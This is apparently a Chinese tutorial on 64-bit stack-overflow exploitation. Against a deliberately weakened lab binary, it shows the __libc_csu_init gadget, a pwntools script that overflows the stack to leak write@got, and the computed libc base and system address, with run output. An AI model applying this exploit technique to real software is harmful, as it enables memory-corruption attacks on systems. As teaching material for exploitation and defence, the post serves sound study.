本篇的代码和之前的略有修改,diff 是这样的。

26c26
<         write(1, "You Are Naive.\n", 15);
---
>         printf("You Are Naive.\n");

其实是为了强行构造漏洞… 编译参数为 gcc -g -O0 -fno-stack-protector -o vuln main.c,需要开启 aslr。

通用 gadget

之前为了构造 gadget 我们使用工具去二进制文件和 libc 中寻找比较明显的,但是可能存在的两个问题

其实在使用了 libc 的二进制程序中,基本上都有一段最多可以写三个参数寄存器的通用 gadget,就在函数 __libc_csu_init 中。

gdb-peda$ pdisas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x00000000004007e0 <+0>:	push   r15
   0x00000000004007e2 <+2>:	push   r14
   0x00000000004007e4 <+4>:	mov    r15d,edi
   0x00000000004007e7 <+7>:	push   r13
   0x00000000004007e9 <+9>:	push   r12
   0x00000000004007eb <+11>:	lea    r12,[rip+0x20061e]        # 0x600e10
   0x00000000004007f2 <+18>:	push   rbp
   0x00000000004007f3 <+19>:	lea    rbp,[rip+0x20061e]        # 0x600e18
   0x00000000004007fa <+26>:	push   rbx
   0x00000000004007fb <+27>:	mov    r14,rsi
   0x00000000004007fe <+30>:	mov    r13,rdx
   0x0000000000400801 <+33>:	sub    rbp,r12
   0x0000000000400804 <+36>:	sub    rsp,0x8
   0x0000000000400808 <+40>:	sar    rbp,0x3
   0x000000000040080c <+44>:	call   0x400540 <_init>
   0x0000000000400811 <+49>:	test   rbp,rbp
   0x0000000000400814 <+52>:	je     0x400836 <__libc_csu_init+86>
   0x0000000000400816 <+54>:	xor    ebx,ebx
   0x0000000000400818 <+56>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400820 <+64>:	mov    rdx,r13
   0x0000000000400823 <+67>:	mov    rsi,r14
   0x0000000000400826 <+70>:	mov    edi,r15d
   0x0000000000400829 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040082d <+77>:	add    rbx,0x1
   0x0000000000400831 <+81>:	cmp    rbx,rbp
   0x0000000000400834 <+84>:	jne    0x400820 <__libc_csu_init+64>
   0x0000000000400836 <+86>:	add    rsp,0x8
   0x000000000040083a <+90>:	pop    rbx
   0x000000000040083b <+91>:	pop    rbp
   0x000000000040083c <+92>:	pop    r12
   0x000000000040083e <+94>:	pop    r13
   0x0000000000400840 <+96>:	pop    r14
   0x0000000000400842 <+98>:	pop    r15
   0x0000000000400844 <+100>:	ret
End of assembler dump.

这个 gadget 的流程是这样的

利用

如果看懂了上面的图,那很容易就可以使用这个 gadget,下面是一个泄露 libc 基地址的 shellcode

# coding=utf-8
from pwn import *
student = 0x7fffffffe2f0

elf = ELF("./vuln")
write_got = elf.got["write"]
# 这个 gadget 就是读取 write@got 的地址
#        rbx      rbp      r12              r13      r14              r15      second gadget
gadget = p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400820)

shellcode = "1925\n"
# 偏移量和开启 aslr 没关系,这里的硬编码的是偏移量而不是地址
shellcode += "A" * (0x7fffffffe348 - student)
# gadget start addr -> return addr
shellcode += p64(0x40083a)

proc = process("./vuln")
proc.send(shellcode)
raw_input()
proc.sendline(gadget)
print(proc.recvuntil("Second Here.\n"))
# 读取到了 write@got 的地址
write_plt = u64(proc.recv(8))
print("write@got addr ", hex(write_plt))

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc_base = write_plt - libc.symbols["write"]
print("libc base addr ", hex(libc_base))

system = libc_base + libc.symbols["system"]
print("system addr ", hex(system))

运行结果是

➜  new python shellcode.py
[*] '/home/virusdefender/Desktop/pwn/new/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './vuln': pid 9907

What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Spend One Second Here.

('write@got addr ', '0x7f4314f8d280')
[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
('libc base addr ', '0x7f4314e96000')
('system addr ', '0x7f4314edb390')

vmmap 的结果如下,可以看到和 shellcode 的输出一致。

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/virusdefender/Desktop/pwn/new/vuln
0x00600000         0x00601000         r--p	/home/virusdefender/Desktop/pwn/new/vuln
0x00601000         0x00602000         rw-p	/home/virusdefender/Desktop/pwn/new/vuln
0x01754000         0x01775000         rw-p	[heap]
0x00007f4314e96000 0x00007f4315056000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f4315056000 0x00007f4315256000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f4315256000 0x00007f431525a000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f431525a000 0x00007f431525c000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f431525c000 0x00007f4315260000 rw-p	mapped
0x00007f4315260000 0x00007f4315286000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f4315466000 0x00007f4315469000 rw-p	mapped
0x00007f4315483000 0x00007f4315485000 rw-p	mapped
0x00007f4315485000 0x00007f4315486000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f4315486000 0x00007f4315487000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f4315487000 0x00007f4315488000 rw-p	mapped
0x00007ffc9b5d9000 0x00007ffc9b5fa000 rw-p	[stack]
0x00007ffc9b5fb000 0x00007ffc9b5fd000 r--p	[vvar]
0x00007ffc9b5fd000 0x00007ffc9b5ff000 r-xp	[vdso]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]